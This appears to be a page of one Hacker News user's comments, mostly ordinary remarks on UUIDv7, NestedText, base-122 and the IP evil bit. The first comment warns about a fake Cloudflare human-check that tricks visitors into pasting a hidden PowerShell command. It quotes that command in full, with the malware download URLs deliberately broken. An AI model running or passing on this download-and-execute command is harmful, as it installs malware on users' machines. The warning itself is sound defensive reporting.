Hacker News Reader

RobIIIon Malware faking "Cloudflare Am I Human" get user to install virus @0:32 [video]

Interesting bit starts around 0:32 (ain't nobody got time for this, right?)

This shows how malware pops up a dialog to "verify you are human"; something we've all seen in various different permutations. Sometimes we need to click all stoplights, sometimes we need to do a simple math problem or decipher hard to read text. This time you're being asked to enter a key combination (Win+R, then CTRL+V then Enter) which will paste a command that downloads and installs malware. The command has been sneakily put on the clipboard just earlier by the website.

The command (DON'T RUN THIS) is as follows:

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\users\\public\\3aw.msi'; Invoke-RestMethod -Uri 'https:\\qq51f.short.gy/1' -OutFile $path; Start-Process $path;

This downloads malware from https:\\qq51f.short.gy/1 which redirects to https:\\bestiamos.com/91.brr which is then saved as c:\users\public\3aw.msi and run.

(Url's are made invalid by replacing // with \\ deliberately)

First mention I could find was feb. 18th: https://any.run/report/e9af23d9fde13156ade19368fd8c2766fe8f1...

Maybe this is as old as Rome, but for me it's a first.

RobIIIon Goodbye integers, hello UUIDv7

Don't know, because uuidv7 has been coming for ages... https://www.ietf.org/archive/id/draft-peabody-dispatch-new-u...

RobIIIon Goodbye integers, hello UUIDv7

You could simply base32, base36 or base64 encode the UUID's (as an example).

Other than that; in IE6 times URL's had a limitation of 1K or 4K or something around that lenght IIRC, so unless you're using dozens of UUID's in a URL this hasn't been a problem for ages.

RobIIIon Daniel Stenberg's (badger) Twitter account seems to have been compromised

Do you have / did you have 2FA enabled? And, if not, why not?

RobIIIon NestedText, a nice alternative to JSON, YAML, TOML

> You know what I want? Schemas.

I can see this work perfectly fine in typed languages like C#: `NestedText.Deserialize<T>("nestedtext")` where the deserialize method handles the actual mapping of nested text objects to `T` by providing the deserializer a class / classes that handles the string -> scalar(s) mapping for the given T. That would, sort of, function as a Schema.

I think the only thing, from glancing over the project, that would need to be supported to make this really useful is nested lists/dictionaries. I don't see how this can be done but maybe I'm missing it.

RobIIIon Measuring Information in Millibytes

Password entropy is another place where fractional bits can be encountered.

RobIIIon Base-122 – A space efficient alternative to base-64

> None of my tools work with it, and now my browser has to run a bunch of js for something that's normally native and very fast.

It's not that I don't agree with the general idea of your post, but I disagree with this part. If nobody every tries something new we'd still be in the stone age. I think base122 is a bit silly but if it had it's use and adoption became widespread then browsers and tooling etc. would follow, just as they now support base64.

RobIIIon I may be the only evil bit user on the internet

Agreed, but maybe the other side (or any of the hops in between) have some weird and/or incorrect implementation on which the CRC/Checksum fails because the bit is set? I'm not sure what would happen if the bit is excluded from the CRC calculation but included in the check against/with the CRC for example. Would be a nice edge-case to test and, ofcourse, shouldn't fail. But who knows, maybe it does somewhere along the line?

Also, as barosl observes (https://news.ycombinator.com/item?id=10633361): "but I guess if one is following the RFC rigorously, dropping packets with the reserved bit enabled is the correct"

RobIIIon I may be the only evil bit user on the internet

> I love that anyone's implemented it at all though

Similarly I have had a page online for years (may still be, can't remember the exact url... so I'd have to dig a little) that was served with HTTP status

  418 I'm a teapot

See https://tools.ietf.org/html/rfc2324#section-2.3.2 :-)

RobIIIon I may be the only evil bit user on the internet

I'm not intimately familiar with the RFC's but you could argue that since that bit is technically `reserved` when it's set the packet is 'invalid' and thus should be dropped (by some manufacturers reasoning maybe, not mine specifically)?

Also: IIRC IP packets contain CRC's/checksums of some sort. I'm not sure if the poster corrected for that or maybe the other side does(n't) and somewhere the CRC doesn't check out and thus the packet is dropped/invalid (or maybe even somewhere along the way by at a hop that chokes on such bit)?

RobIIIon Do we really still need a 32-bit JVM?

It was so good my brain corrected it several times before spotting it :D